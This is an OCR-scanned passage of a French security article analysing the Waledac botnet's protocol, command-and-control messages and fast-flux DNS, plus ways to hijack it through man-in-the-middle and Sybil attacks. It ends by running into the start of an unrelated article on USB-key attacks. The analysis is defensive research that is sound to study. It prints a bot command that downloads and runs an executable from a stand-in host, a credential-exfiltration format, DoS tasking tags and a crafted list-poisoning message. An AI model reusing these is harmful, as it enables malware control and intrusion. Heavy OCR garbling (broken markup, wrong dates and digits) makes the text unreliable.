spammeur et -I pour un répé- PR Sl on trouve l'adresse IP de
teur. Néanmoins, nous ne les T s émetteur s'il s’agit d'un
avons jamais vu utilisés dans la e A répéteur ou ALAAAA s'il

nature. Il s'agit donc vraisembla- s'agit d'un spammeur.

blement d'une fonction de test. " — Quand un répéteur recoit
ce message, il lui ajoute le
glieh A champ HTTP (lient-Host

avec l'adresse IP de

2.2 Protocole

Figure 4

Waledac utilise un proto- I'émetteur, puis le trans-

wd

cole peer-to-peer assez simple met & un des protecteurs.
reposant sur le protocole HTTP. Ainsi, les serveurs de
Chaque bot, quel que soit son role, tient a jour une liste de répé- controle connaissent les adresses des spammeurs. Nous allons
teurs qu'il stocke dans une clé de registre nommee « RList ». maintenant décrire les différents messages échangés avec les
Les répéteurs maintiennent aussi une liste de protecteurs pour serveurs et leur ordre lors d'un dialogue classique :
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M gethkey : le premier message envoyé par un bot quand il

commence un dialogue avec les serveurs. La clé utilisée pour
le chiffrement AES de ce message est K1, qui est codée en
dur dans le binaire. Sous sa forme claire, il a la structure
suivante :

<Im>

<t>getkey</t>

<y>235</v> |

<{>f@4aeebabldfcd7617439d64bb42ch1d</i>

<</

<props>
<p n="cert">

MIIBvjCCASeqAWIBAGIBADANBgkahkiGIwEBAQQFADATMOSWCYDVOOGEWIVSZEN

2Qywuad0KbggdamneglBadcdumUrdmloENOBQIVENSxu+Z70VFDfRppBfLRRKgCP
----- END CERTIFICATE-----

</p>

</props>

</1m>

Les differents champs sont :
—# <> : type de commande.

—# <V>: version du binaire. Récemment une evolution de la ver-
sion 34 a 35 a eu lieu, mais il s'agissait seulement de petites
modifications (par exemple 'ajout d'un champ dans les
en-tétes HTTP pour améliorer la compatibilité avec HTTP
1.0), et d'ailleurs certains des derniers binaires publiés sont
encore en version 34.

-8 <1> : un identifiant de 16 octets associé a chaque machine
infectée. Il est généré aléatoirement lors du premier lance-

ment du binaire.

—ll <r>: parameétre mis a4 0 pour un spammeur et a 1 pour un
répéeteur.

—8 <p n="cert"> : un certificat X.509 contenant une clé publique
RSA 1024 bits qui a été générée au premier lancement de
I'exécutable.

La réponse venant du serveur a la forme suivante :

<|m>
<t>getkey</t>
<props>
<p n="key">UvqlIPaSZglmNdXxu...INNLocdNI3+zac=</p>
</props>
</lm>
Le champ <p n="key"> contient une clé AES chiffrée avec la
clé publique RSA envoyée précédemment. Cette clé sera utilisée

pour le chiffrement AES de tous les messages qui suivent.

Pour les messages suivants, nous décrivons seulement ['in-
térieur du champ <props>, les en-tétes étant les meémes, avec le
nom de la commande dans le champ <>,

— first : ce message est envoyé seulement une fois par machine
infectée. Sa forme est la suivante :

<props>
<p n="label">mirabella_site</p>
<p n="winver">5.1.2688</p>
</props>

Les deux champs qu’il contient sont le label et la version
de Windows de I'hote infecté. L'intérét de ce message est
de permettre aux auteurs de Waledac de suivre le nombre
d’'installations réalisées par leurs partenaires et sur quels
types de machines. La réponse du serveur est un simple
acknowledgenent qui est le méme message avec le champ <props>
vide. Elle entraine la création sur I'hote d'une clé de registre
FWlone qui prend la valeur irue, lui permettant ainsi de savoir
quil a déja envoyé ce message.

-8 notify : ce message contient des informations temporelles
et le label :

<props>

<p n="label">mirabella_site</p>

<p n="time_init">Tue May 85 20:28:35 2889</p>

<p n="time_now">Tue May 85 20:39:24 2089</p>

<p n="time_sys">Tue May @5 28:39:24 2889</p>

<p n="time_ticks">7097225</p>

</props>
Le contenu de la réponse dépend du role du bot. Néanmoins,

il y a une partie envoyeée a tous, bien qu'elle comporte surtout

des informations pour les spammeurs :

<props>

<p n="pir">abcd.domain,com</p>

<p n="ip">A.B.C.D</p>

<p n="dns_ip">L.F.G.H</p>

<p n="smtp_ip">L.d.K.L</p>

<p n="nttp_cache_timeout">3688</p>

<p n="sender_threads">58</p>

<p n="sender_gueue">2008</p>

<p n="short_logs">true</p>

<p n="commands"></[COATA[

341|duwn1uadEhttﬂ:ffahcd.cnmfwin.jpg

341|downloadexe|http://xyz.com/nl.exe]]>

</p>

</props>

Les différents champs sont :

—# pir : indique le nom de domaine attaché a l'adresse IP
de I'héte infecté. Il est mis a wergvan si la résolution DNS
echoue et il sera par exemple visible dans l'en-téte des emails
envoyes,

-8 17 : adresse IP de la machine infectée, qui servira également
pour les en-tétes des emails (les spammeurs ne pouvant pas
connaitre leur IP publique).

—8 (ns_ip : adresse IP d'un serveur DNS qui est attribué a
la machine. Il sera par exemple utilisé pour trouver les
adresses des serveurs SMTP auxquels envoyer le spam.

~M s1tp_ip : adresse IP d'un serveur SMTP attribué a la machine.
[1 s’agit habituellement d'un serveur de Google. Il servira au

spammeur de test pour savoir s'il est capable de joindre un
serveur SMTP.
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On trouve ensuite plu-
. \ - Contréleur
sieurs parameétres techniques
comme sender_threads qui,
comme son nom l'indique,
est le nombre de threads qui
seront dediés a l'envoi de
spam. Ce parametre est passé

de 13 4 50 au mois de juin.

-8 conmands : contient des

commandes pouvant étre

1 6
exécutées par la machine
infectée et qui ont la forme
IDlaction|URL : .

-#@ [ est un numeéro asso-
cié a4 la commande et qui
sera stocké dans une clé
de registre nommeée Lastlonnandid. Quand le bot regoit une
commande, il ne I'exécute que si son ID est supérieur a la
valeur dans la clé (qui est alors mise a jour).

—@ action peut prendre plusieurs valeurs : update, download,
downloadR, downloadS, updateexe, downloadexe, downloadrexe,
downloadsexe. Nous n'avons vu utilisé dans la nature que les
commandes download et downloadexe qui servent par exemple
a télécharger la bibliothéque Win?lip ou d’autres malwares
(voir 2.3).

—# /i pointe sur la cible de I'action.

Pour un répéteur, le reste de la réponse contient des infor-
mations pour la mise en place du double fast-flux DNS. De facon
bréve, rappelons que cette technique consiste a attacher a un
nom de domaine un ensemble de machines qui changent avec
le temps et qui ne sont en fait que des proxys pour les vrais ser-
veurs Web (single fast-flux DNS). Le deuxiéme niveau vient du
fait que les serveurs DNS pour ces noms de domaines sont eux
aussi réguliérement déplacés (pour plus de détails, voir [14]).

Dans le cas de Waledac, lorsqu’un client lance une résolution
DNS pour un nom de domaine maintenu par le botnet, il va
d’abord obtenir de facon classique 'adresse d'un serveur DNS
responsable de ce nom de domaine (qui n'est autre qu'un répe-
teur), puis sa requéte va suivre le chemin suivant : voir Figure 5.

Les étapes importantes de la résolution DNS sont :

1.

La requéte est envoyée au serveur de nom de domaine (qui

est un répeteur).

Le répéteur ne fait que transmettre la requéte a un controleur.

3-| Le contréleur la transmet lui-méme & un autre répéteur

choisi parmi ceux récemment actifs.

4: | Le répéteur retourne en réponse l'adresse IP d'un autre

répéteur dont il aura préalablement testé la disponibilité
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qui lui a ete attribué.
Finalement, la réponse est

g relayée jusqu’au client qui se

f"/
Wi
'l,_______

connecte ainsi a un répéteur
qui relayera son trafic vers un
serveur Web (qui n'est autre
qu'un des protecteurs). La
fonctionnalité de répétition du
trafic HTTP peut étre réalisée
par n'importe quel répéteur des
gu’'il est démarré, mais, pour
jouer les autres roles dans la

résolution DNS, il a besoin des
informations contenues dans

il la réponse :

<dns_zones>
<zone>" *abcd\.com$</zone>

<zone>" *efgh\.com§</zone>
</dns_zones>

<dns_hosts>
<host>A.B.C.0</host>

L

<host>E.F.G.H</host>

</dns_hosts>

<socksh>

<allow max_conn="180">1.J.K.[</allow>

<allow max_conn="188">M.N.0.P</allow>
<fsocksh>

<dos></dos>

<filter>

<deny>(.R.5.T</deny>

:tldﬁeny:*t] NN X</deny>
</filter>

Ainsi, les champs sont :

—@ 70n¢ : contient les noms de domaines qui vont étre maintenus
par le double fast-flux DNS.

—@ host : ces adresses IP sont celles des répéteurs dont il a la
charge de tester la disponibilité et qui vont étre utilisés
comme proxy HTTP pour les noms de domaines.

— socksh ; adresses des contréleurs vers lesquels il relayera les
requétes DNS s'il est élu comme serveur. Aprés la campagne
de I'Indépendance américaine, leur nombre est passe de
3 a 20, ce qui laisse présager l'utilisation d'un plus grand
nombre de noms de domaines dans le futur.

—@ deny : contient les adresses IP de machines dont le répéteur
ne relayera pas les requétes HTTP. Il y en a pres de 5000 et
cette liste ne subit que trés rarement des mises a jour.

Une fois ce message recu, le répéteur entre dans une boucle
ot il teste la connectivité avec les « host » qui lui ont été distribues




(par une simple connexion TCP sur le port 80). Il répondra
ensuite aux requétes DNS de la part des controleurs (<sockst>)
pour les noms de domaines <20n¢> avec les adresses des <host>
quil a réussi a joindre.

Pour un spammeur, la fin de la réponse ne contient aucune
information a moins qu'on lui demande de réaliser une attaque
par déni de service :

<dos>
<target>
<ip>A.B.C.0</ip>
<port>i</port>
<rate>Y</rate>
</target>
</dos>

—M enails : ce message est envoyé régulierement par les répé-
teurs et les spammeurs. Il contient les adresses de courrier
électronique récupérées sur le systeme infecté :

<emails>
<![COATA[gros@caribou.com

iﬁhﬂagang.cum

>
11&ma1!5>

— fiskreq : ce message, qui ne contient aucune information parti-
culiere, est envoye par les spammeurs seulement s'ils ont pre-
cédemment réussi a contacter le serveur SMTP qui leur a été
attribué (dans le champ sntp_ip du message notify). Si ce n'est
pas le cas, ils redémarrent un dialogue avec un autre répéteur.
Ils sont alors seulement utilisés pour récolter des adresses
emails et des mots de passe. La réponse au message Lashreg
contient les informations nécessaires a l'envoi de spams :

<tasks><task id="4">
<body>UmVZN12ZN061ChxbKFpbCATX T TyMDAWLTMwMDAWXiUgaW52b2t12CBmematIGS1dHdy

NdmdubNV1aKShXiUudV5acGhhem1hX2xpbmt 2YiUviUKe/body>
<g>dude@rodez.com</a>

<g>administrator@ing.com</a>
<y>charset</w>
<w>domains</w>

<w>july_link</w>

<W>syever</w>

</task></tasks>

<Words>

<w name="charset” time="1233919243"/>
<W name="domains" time="1241169536"/>

< name="july_link" time="1241169497"/>
<wW name="sycver" time="1233919247"/>
</words>

Le champ <task> contient les informations spécifiques a une
campagne particuliére (identifiée par le paramétre id). Cela
permet ainsi de distribuer les informations nécessaires pour
plusieurs campagnes dans le méme message.

-
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-8 ody contient le template du corps du message i envoyer (voir
2.3.1) encodé en baseb64.

—8 « i » contient les adresses email cibles.

-8l «  » contient les différents mots a remplir dans le template
du corps du message.

Le bot va ensuite émettre des requétes <worc> lui permettant
de recevoir des serveurs un ensemble de valeurs possibles pour
chacun des mots.

—8l taskrep : quand un spammeur a terminé d’'envoyer des mes-
sages indésirables a toutes les adresses email mises a sa
disposition, il envoie un rapport qui a la forme suivante :

<reporis>
<rep 1d="4" rcpt="YXJub2xk(.. .HNSDXT4LmNvbO==">RVJS</rep>
<rep 1d="4" rcpt="bi5uYWtsa., YUBLIWRpYWNvDS5pbis1YQ==">Ths=</rep>

<rep 1d="4" rcpt="YK5pNjRAY...LmNvbQ==">Tls=</rep>
<rep id="4" rcpt="cXBwYXRob...Z31AZGZoYS5jb28=">RVIS</rep>
</reports>

Le parametre rcpt contient I'adresse email cible encodée en
base64. Finalement, [V/5 et T{5= sont respectivement les enco-
dages de £Rf et (X, indiquant si 'email a pu étre envoyé ou non.

-8 httpstats : quand un répéteur relaie des requétes HTTP vers
les sites Waledac, il stocke les informations du visiteur et
les envoie régulierement aux serveurs de controle dans un
message qui a la forme suivante :

<htip_stats>
<stat time="1242929383" ip="a.b.c.d"><!I[CDATA[GET /index.php HTTP/L.1
Mozilla]]></stat>

;;tat time="1242929397" ip="e.f.q.h"><![COATA[GET /index.php HTTP/1.0
Mozilla]]></stat>
</http_stats>

La date de visite, I'adresse IP du visiteur et la requéte sont
envoyees.

— creds : quand un bot capture des mots de passe sur le
réseau, il les envoie aux serveurs de controle sous la
forme d'une URL directement exploitable (par exemple
ftp://login:password@ftp.vulnerableHost.com) et

encodée en base64.

3.2.2 Mécanismes de mise a jour

y JE 5 BE

Mise a jour de la liste des répéteurs

Tous les binaires Waledac contiennent une liste de répéteurs
dont le nombre peut varier de 50 a 200. La liste de répéteurs
est différente pour chaque exemplaire du binaire. Cette liste est
ensuite stockée dans une clé de registre iL15t sous la forme d'un
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fichier XML qui est d’abord compressé avec l'algorithme Bz2
puis chiffré en AES-128 avec une clé K2. Cette liste a l1a forme
suivante en XML :

<Im>

<localtime>1244053204</Tocaltime>

<nodes>

<node ip="a.b.c.d" port="80" time="1244053204">469abealB4710c1acah?
2489cefd3183</node>

<node ip="e.f.g.h" port="88" time="1244653132">691775154c@3424d9f12c
17fdf4b64@b</node>

</nodes>
</1m>
On voit qu’elle contient un timestamp UNIX « global »
(<localtime>) et, pour chaque répéteur (<node>), une adresse IP,
un numéro de port, un timestamp UNIX « local » et son iden-
tifiant de 16 octets. Avant de décrire 'algorithme de mise a jour
de la liste, décrivons les deux facons dont elle peut se produire :

~# Echange régulier avec les autres bots : les machines infectées
contactent régulierement les répéteurs qui se trouvent dans
leur RList pour faire des mises a jour. Le choix du répéteur
a contacter est aléatoire et, une fois qu'il est fait, le bot lui
transmet une partie de sa RList contenant les informations
sur 100 répéteurs. Ceux-ci sont aussi choisis aléatoirement
dans la liste. En réponse, le bot recoit du répéteur un extrait
de sa propre liste, Lorsque le systéme qui a émis le premier
message de mise a jour est un répeteur, il se met lui-méme
dans l'extrait envoyé. C'est ainsi qu'il propage ses propres
informations dans le réseau.

—~@ Connexion a un site Internet : tous les binaires Waledac
contiennent une URL pointant vers une page maintenue par
le botnet. Cette page contient une RList chiffrée selon le
meéme procede décrit précédemment, mais cette fois-ci avec
la clé K1. Cette liste contient environ 180 répéteurs et elle
est mise a jour automatiquement toutes les 10 minutes (tres
probablement avec les derniers répéteurs a avoir contacter
les serveurs de contréle). Quand un bot échoue dix fois a
contacter un répéteur de sa RList, il fait une connexion
vers cette URL pour récupérer une nouvelle liste. C'est un
moyen de mettre a jour des vieilles versions du binaire qui
ne contiendraient initialement que des répéteurs qui ne
sont plus valides, mais 'URL étant statique elle peut étre

facilement bloquée.

Décrivons maintenant I'algorithme utilisé lorsquune mise
a jour est recue. Remarquons tout d’abord que la RList est tou-
jours ordonnée selon les timestamps locaux : de 'entrée la plus
récente a la plus ancienne. Dans la liste initiale (construite a
partir des informations codées en dur), tous les timestamps
sont égaux et correspondent au moment de la création de la
liste. Lorsque les mises a jour sont recues, elles auront la meéme
forme que la RList :
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<Im>

<localtime>UpdateGlobalTs</localtime>

<nodes>

<node ip="UpdatelP1" port="88" time="UpdatelocalT51">UpdatelDl</
noge>

<node ip="UpdateIP2" port="80" time="UpdatelocalTS2">UpdatelD2</
node>

LU

</nodes>
</1m>

Avant de parcourir la mise a jour, le systéme infecté récu-
pére le timestamp actuel CurrentS qui deviendra le timestamp
global de la RList apres la mise a jour. Puis, pour chaque
entrée « | » :

-l si « i » n'a pas Updatelli dans sa RList et si Updatelocallyi <

JpdateGlobalTs, un nouveau timestamp NewlocalT5i est calculé

pour cette entrée avec la formule :

NewLocalTSi = CurrentTS - (UpdateGlobalTs -
UpdateLocalTSi)

La nouvelle entrée est ensuite insérée dans la RList 4 la
bonne position, c’est-a-dire selon son timestamp.

-3 silpdatell est déja présent dans la liste, un nouveau times-
tamp est calculé avec la formule précédente et la position de
I'entrée est mise a jour seulement si cette nouvelle valeur est
plus récente que I'ancienne.

Finalement, les autres entrées ne sont pas modifiées, a
moins que la liste ait plus de 500 entrées aprés la mise a jour.
Dans ce cas, les entrées en excédent (a partir de la position 501)
sont supprimées. C'est donc le but des timestamps : maintenir
dans la RList les 500 entrées les plus récemment vues par le bot.

D'apres la formule de l'algorithme, c’est la différence entre
le timestamp global et local de I'entrée dans la mise a jour qui
a une influence sur sa position dans la RList et la condition
« lpdatelocalTsi = lpdateGlobalTS » impose que cette différence soit
positive ou nulle (si cela n'est pas le cas, aucune mise a jour n'est
réalisée), Cela prévient contre des attaques qui consisteraient a
envoyer des mises 4 jour avec des valeurs telles que le lewlocal T8
calculé serait supérieur au Currentls, eréant ainsi des entrées
« dans le futur » qui seraient toujours considérées comme les

plus récentes et resteraient dans la RList constamment.

Mise a jour de la liste des

protecteurs

Les répéteurs ont besoin d’avoir une liste de protecteurs a
jour afin de leur relayer le trafic de controle. Initialement, cette
liste n'est pas présente en dur dans les binaires, mais va étre
acquise par I'envoi de messages entre répéteurs. Ainsi, elle va
étre échangée de la méme fagon que les répéteurs s'échangent
les mises a jour de leur RList, et ceci a la méme fréquence :




ils réalisent le premier échange pour la liste des répéteurs,
puis un deuxieme pour celle des protecteurs. Ce qui distingue
les deux types de mises a jour est un champ HTTP particulier
1-Request-Kind-Code qui va étre mis a nodes pour la RList et servers
pour l'autre.

Cette liste contient, en plus des adresses IP et des ports des
protecteurs, la signature RSA de la liste ainsi qu'un timestamp.
Lorsqu'un répéteur recoit une mise a jour, il va regarder si le
timestamp de la mise a jour est plus récent que celui de sa liste
et, si c’est le cas, vérifier la signature RSA avec une clé publique
embarquée dans le binaire et mettre a jour les protecteurs si elle
correspond. Ce mécanisme prévient l'injection d'une liste des

protecteurs, puisque, théoriquement, seuls ceux qui possedent

la clé privée peuvent le faire.

3.3 Faiblesses

Man-In-The-Middle

3.3.1

Comme expliqué précédemment, un dialogue classique

entre un bot et les serveurs de contréle commence par un
échange de clé. Le bot recoit alors ce qui pourrait étre considére
comme une « clé de session » qui va servir a chiffrer le reste de
I'échange. Il semblerait done normal que cette clé soit différente
pour chacun des dialogues... mais ce n'est pas le cas ! En effet,
cette clé a toujours la méme valeur, ce qui constitue une erreur
assez incompréhensible (un générateur aléatoire mal utilisé ?).
Nous avons donc a notre disposition I'ensemble des clés de chif-
frement utilisées par Waledac (K1,K2 et K3).

Nous avons codé un « faux répéteur » qui n'est autre qu'un
proxy HTTP réalisant les deux opérations de base d'un répéteur :

— Envoyer et recevoir des messages de mise a jour : comme
indiqué en section 3.2.2, les bots mettent a jour leur RList
principalement par des échanges réguliers. Nous avons donc
implémenté ce mécanisme de facon similaire en mettant les
informations de notre répéteur dans les messages envoyeés
pour qu’il puisse étre connu dans le réseau.

—# Relayer le trafic de contréle ; de la méme facon qu'un répé-
teur classique, nous relayons le trafic entre les bots et les
protecteurs. La seule différence est que nous stockons tout
le trafic en clair.

Avec ce systeme, nous avons été capables de suivre facilement les
évolutions du botnet : dés qu'une nouvelle commande était pro-
pagée, nous pouvions rapidement 'analyser. Une autre exploi-
tation intéressante de cette lecture du trafic est liée a la facon
dont les auteurs de Waledac distribuent leurs binaires a leurs
« partenaires » pour qu'ils les déploient : ils leur donnent une URL
vers un répertoire particulier. Le nom de domaine de cette URL

et
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est un de ceux qui sont maintenus par le botnet, ce qui implique
que les répéteurs vont servir de proxys HTTP pour les requétes
de distribution de binaires (double fast-flux DNS). Comme tous
les répéteurs, ils envoient réguliérement des rapports sur les
requétes qu'ils relaient... en passant par un autre répéteur, qui
peut étre le notre ! Nous connaissons ainsi 'URL utilisée pour
distribuer les nouveaux binaires et nous pouvons nous aussi les
téléecharger. De plus, comme le nom des binaires utilisé corres-
pond exactement au « label » et que 'URL de distribution est
toujours la méme, nous pouvons recupeérer les binaires associés
aux divers labels que nous observons sur le réseau. Cela nous a
par exemple permis de suivre les versions avec driver (voir 2.3.2)
depuis leur lancement alors qu’elles étaient trés peu répandues.

Comme nous possédons les clés de chiffrement et connaissons
la structure des communications, il nous est possible d'injecter
nos propres messages de commande et controle. Cela ouvre la

porte a diverses exploitations :

1.

Lattaque la plus évidente est de faire télécharger aux bots

un exécutable qui désinfecte Waledac par le biais de la com-
mande downloadexe. Ceci ne pose pas de problémes techniques
particuliers (la désinfection étant facile a réaliser, hormis
pour les versions avec driver), mais, bien siir, des probléemes
légaux et eéthiques importants : il n'est pas question d'exé-
cuter du code sur des machines qui ne sont pas les notres.

2.

Une autre exploitation puissante serait de lancer une attaque

par déni de service contre les protecteurs par le biais du

tag <d0s>, mais les mémes problémes éthiques se posent.

Il convient donc de s’intéresser aux moyens ethiquement
acceptables de tirer parti de cette situation. Parmi de nom-
breuses possibilités, citons :

1.

Remanier les templates de spam distribués pour les rendre
inoffensifs : modifier les URL distribuées pour qu'elles
pointent vers des sites inexistants, donner des adresses
e-mails invalides...

Pratiquer la désinformation contre les serveurs de controle :

par exemple modifier les rapports de spam envovés par les bots
pour mettre toutes les adresses e-mails comme injoignables,
ce qui devrait les sortir de la liste des adresses a spammer.

3: | Faire remonter aux serveurs des logins/mots de passe sur des
serveurs qui sont sous notre controle, nous permettant alors
d'observer la maniére dont ils exploitent ces informations.

3.3.2 Sybil-attack

Comme expliqué précédemment, les bots Waledac sont
identifiés par un ID de 16 octets. Les adresses IP n'ont donc pas
besoin d’étre uniques et cela permet de créer avec une seule
adresse un ensemble de bots Waledac.
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Lidée de cette attaque est donc de créer un « super-répéteur »
dont 'adresse IP sera trés répandue dans le réseau sous dif-
férents ID et qui sera choisie trés souvent par les bots comme
répéteur pour faire transiter leur trafic. De plus, grace a l'attaque
précédente, notre bot pourra lire tout le trafic et le modifier.

Pour infiltrer le botnet de cette facon, il nous faut donc pro-
pager les informations de notre bot. Pour cela, nous utilisons le
mécanisme de mise a jour par échange de message qui, comme
expliqué précédemment, fait en sorte que les bots s'échangent
régulierement des extraits de 100 répéteurs de leur RList. La
propagation de nos informations est rendue plus facile grace a
un manque de rigueur du programme : Waledac ne verifie pas
que les mises a jour qu'il regoit contiennent 100 entrées. Il est
donc possible d'envoyer un message avec 500 bots et de remplir
toute la RList du receveur, pour peu que les timestamps solent
bien choisis. En clair, les messages envoyés sont de la forme :

<im>

<localtime>f</localtime>

<nodes>

<node ip="notreAdresselP" port="88" time="0">00000000000000E000000
A0000880001</node>

<node ip="notreAdresselP" port="80" time="0">000800A00000000000000
g00aeea00a2</node>

<node ip="notreAdresselP" port="80" time="0">020000000000600000000
000ea0enseE</node>

</nodes>

</Tm>

Quand le bot recoit ce message, toutes les entrées de sa RList
seront remplacées grace a la différence nulle entre le timestamp
global et les locaux qui implique que leur nouveau timestamp
sera le plus récent possible (voir 3.2.2).

Leffet de cette technique sur le bot cible va dépendre de

son role :

4. Le nouveau Storm ?

Analyse en profondeur de Waledac et de son réseau

—@ S'il s'agit d'un répéteur, aprés qu'il ait recu ce message, ilya
une situation de race-condition : il est trés probable qu'il soit
présent dans la RList d'autres bots, qui vont certainement
lui envoyer des mises a jour avec de « bons » répeteurs qui
seront, si un certain temps s'est écoulé, plus récents que
les notres. Ceci implique que, pour maximiser les chances
d’étre choisi par le bot cible comme répéteur, nous devons
continuer a lui envoyer nos messages de mises a jour.

~# S'il s'agit d'un spammeur, le résultat de I'attaque est beau-
coup plus net : comme le spammeur n'est pas joignable direc-
tement (c'est lui qui contacte les répéteurs et pas I'inverse), il
va étre totalement isolé du reste du botnet et ne passera que
par notre répéteur. Mais, cela veut dire qu'il faut qu'on ait
déja été contacté par le spammeur pour y délivrer notre mise
a jour (ce qui implique d’avoir infecté un certain nombre
de répéteurs qui lui auront alors donné nos informations).

Cette technique peut étre utilisée pour altérer le canal de
controle de Waledac : en délivrant nos mises a jour spécialement
construites a travers le botnet, nos faux-bots vont prendre de
limportance et devenir des répéteurs fréquemment choisis. I
nous suffit alors de ne pas relayer le trafic de controle vers les
protecteurs pour rendre inutile une grande partie du réseau,
créant ainsi une sorte de « trou noir ». Cette technique nécessite
bien siir des ressources réseau conséquentes, notamment pour
supporter le nombre de connexions. Néanmoins, sa mise en
place pourrait étre facilitée par I'existence d'un certain nombre
de problémes dans I'implémentation de la partie réseau de
Waledac : par exemple, la réception d'un message HTTP spé-
cialement construit provoque une terminaison du processus,
ce qui pourrait aider a diminuer le nombre de bots une fois que
ceux-ci sont infectés de facon compléte (c'est-a-dire quand ils

ne sont plus dans aucune autre liste).

L'opération de Waledac est trés semblable a ce que nous
avons observé avec Storm en 2007 et 2008 [16]. En effet, les
caractéristiques suivantes sont similaires dans les deux cas :

—# Techniques d'ingénierie sociale lices a des evénements tem-
porels. Par exemple, Storm et Waledac se sont tous deux
propagés pour la St-Valentin et la féte de I'Indépendance
des Etats-Unis.

—8 Utilisation de protocoles peer-to-peer pour la communica-
tion au sein du botnet.

—8 Utilisation de double fast-flux DNS pour maintenir les ser-
veurs relies a leur opération.

—@ Vol d'informations stockées sur le disque dur afin de
construire une liste d'adresses e-mail.
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—8 Format des templates utilisés pour I'envoi de spam qui sont
exactement les memes.

— Architecture réseau utilisant une couche de protection avant

les serveurs de controle.

D’un autre coté, plusieurs points different entre les deux
opérations :
—# Lengin d’envoi de spam est intégré dans les binaires de

Waledac, tandis que pour Storm il était déployé séparément.

—@ Storm utilisait une bibliothéque externe (kidl) pour ses com-
munications peer-to-peer, tandis que Waledac emploie un
protocole maison directement inclus dans le binaire.

—8 Alinverse, les fonctions de eryptographie de Storm sont faites
maison tandis que Waledac utilise la bibliothéque Upensil.




—# Storm a été programmeé en C, tandis que Waledac utilise le
langage C++ et son paradigme objet.

Les similarités entre les opérations de haut niveau sont trés
frappantes, principalement par rapport aux réseaux de com-
mande et controle et a I'envoi de spam, ce qui nous laisse croire
que les opérations de Storm et Waledac ont probablement été
coordonnees par les mémes personnes. Par contre, au vu des
différences techniques, tout porte a croire que deux groupes
de programmeurs différents ont été impliqués. Si les mémes
programmeurs avalent fait Storm et Waledac, ils auraient pro-
bablement utilisé le méme langage de programmation et cor-
rige dans Waledac les erreurs commises avec Storm. En effet,
Storm souffrait de faiblesses dans son design et son utilisation

a

w4 CODE

de la cryptographie qui ont été exploitées [17]. I1 est diffi-
cile a croire que les programmeurs auraient fait deux fois les
mEmes erreurs.

A la lecture de cet article, il serait facile de conclure que les
programmeurs de malwares font beaucoup d'erreurs et n'ap-
prennent pas de celles-ci. D'un autre c6té, il faut remarquer
qu’ils sont tres efficaces, puisqu'ils réussissent a développer
rapidement des logiciels et a3 mettre en place des botnets de
plusieurs milliers de systémes infectés. Puisque le but premier
de leur opération est le gain rapide, ils n'ont aucune raison de
chercher & créer un botnet parfait qui prendrait plus de temps
a développer et déployer et donc a rentabiliser. Il leur est beau-
coup plus profitable de recommencer la méme opération chaque

anneée avec un code différent, pas idéal mais fonctionnel.

5. Mise a jour

Le 20 juillet, apres plus de 8 mois de propagation, les auteurs
de Waledac se sont apercus du probléme de la clé de session et
ont commence a genérer des clés aléatoires. Mais le changement
de clé n'intervient que toutes les deux heures, ce qui ne change

absolument rien a la faisabilité des attaques présentées dans cet
article : il suffit d’aller demander la clé de session réguliérement
en envoyant un message JeLrey. i
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ans les précédents articles a propos des clés USB, il a été montré que,
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LA SECURITE
DES CLES USB

mots-clés : USB/U3/autorun/CDFS / proof-of-concept

D grdce a quelques regles udev et quelques scripts savamment écrits, il etait

possible de recopier le contenu d'une clé (méme effacé) et méme le contenu

du disque dur de la victime, en jouant avec les fichiers autorun. Tout ceci sans
aucune manipulation suspecte de lattaquant, simplement grace a lautomatisation

des scripts et la crédulité de la victime.

Dans cet article, nous allons présenter une catégorie plus récente dattaques
concernant des clés USB, qui porte cette fois-ci sur un certain type de clés,
disponibles a prix modique au grand public.

Aujourd’hui, quand vous achetez une clé USB,
vous n‘achetez plus seulement un bout de silicium
capable de transporter des données. Les cles sont de
plus en plus complétes, et afin de rivaliser avec les
concurrents, les fabricants ne cessent de trouver de
nouvelles idées afin de faire vendre leurs produits :
par exemple, les clés qui savent lire les MP3/WMA,
celles avec une diode blanche qui sert de lampe-
torche ou encore celles que I'on peut protéger par
mot de passe. Certaines d'entre elles proposent éga-
lement des logiciels gratuits permettant de gérer les
images ou la musique. Tous ces outils suivent bien la
tendance actuelle dans le monde de I'informatique
grand public qui veut que tout fonctionne seul, et ce,
le plus simplement possible (et parfois au détriment
de la sécurité, comme nous l'avons deéja vu et que
nous allons encore le voir).

i

Afin de combler le confort que l'utilisateur reclame,
il est de plus en plus courant de voir disparaitre les CD
de pilotes fournis avec les clés USB. En effet, la plu-
part du temps, les pilotes sont intégrés 8 Windows,
ce qui justifie réellement l'utilité du fameux Plug &
Play (sauf pour les systemes les plus anciens comme
Windows 98). Mais les logiciels nécessaires au fonction-
nement des différents services proposés ne sont pas for-
cément intégrés au systéme d'exploitation. Il faut done

arriver a les stocker quelque part.

Une solution plausible : Internet. Mais, 'utili-
sateur moven ne se verra pas aller sur Internet afin
de trouver puis télécharger les logiciels de sa clé
USB. Non, il fallait autre chose qui permette a 1'uti-
lisateur d’avoir le CD de pilotes, mais sans avoir a

le transporter...




Et c’est la que nos constructeurs ont eu une idée de génie :

intégrer le CD a la clé ! La solution adoptée est done de faire
installer un lecteur CD virtuel en méme temps que la clé de
stockage, qui propose a l'utilisateur les outils dont il a besoin.
Evidemment, le principe du lecteur CD virtuel a trois avantages :

~#l Pas besoin de sencombrer dun CD : tout est déja danslaclé;

-8l Lutilisateur ne risque pas d'effacer le CD, et donc de perdre
accidentellement les pilotes ;

2. Les explications

2.1 Petit tour d’horizon sous
Windows

o Prenons par exemple une clé de

l_l marque Memup Pop Key [1], les
clés avec le bouchon rétractable. Ces

[ o clés, que I'on trouve en hypermarcheé a

il

(accessible des l'insertion de la clé) et une autre partie de la clé

partir de 5 €, proposent a l'utilisateur

de créer une partie de la clé publique

« privée » (accessible uniquement apres avoir entré un mot de
passe). Le logiciel capable de configurer la clé et gérer I'accés a
la partie privée se trouve dans un lecteur CD virtuel :

—

! Poste de bravail ) :JQ.IE
 Echier Edbon Affichage Favols Ok 2 | ¥
O ickdens ~ ) - (F | rachrcter [ owers | (7
Adresse | J postedetraval B

S gD Disaue local (C) "-.i) Lacteur DVD-RAM (D) i

'\‘*ﬁﬁ
Sgd D2 ) ﬁ) Lecteur DVD (F:) -
—
@ Pop key (G:) w Pubilic (H:)
hd
Hiohiesy | | Poste de traval F

Figure 1 : Disques de la clé, tels quiils apparaissent par

defaut
ol
La lettre G contient ici le lecteur CD virtuel de la clé, et la
partie stockage de la clé est accessible a la lettre H. Si nous
regardons le contenu du lecteur CD, nous y trouvons le manuel
en PDF et en plusieurs langues, et le petit programme capable
de donner acces a la partie privée de la clé (voir Figure 2).

Enfin, les propriétés du lecteur CD en question ne nous
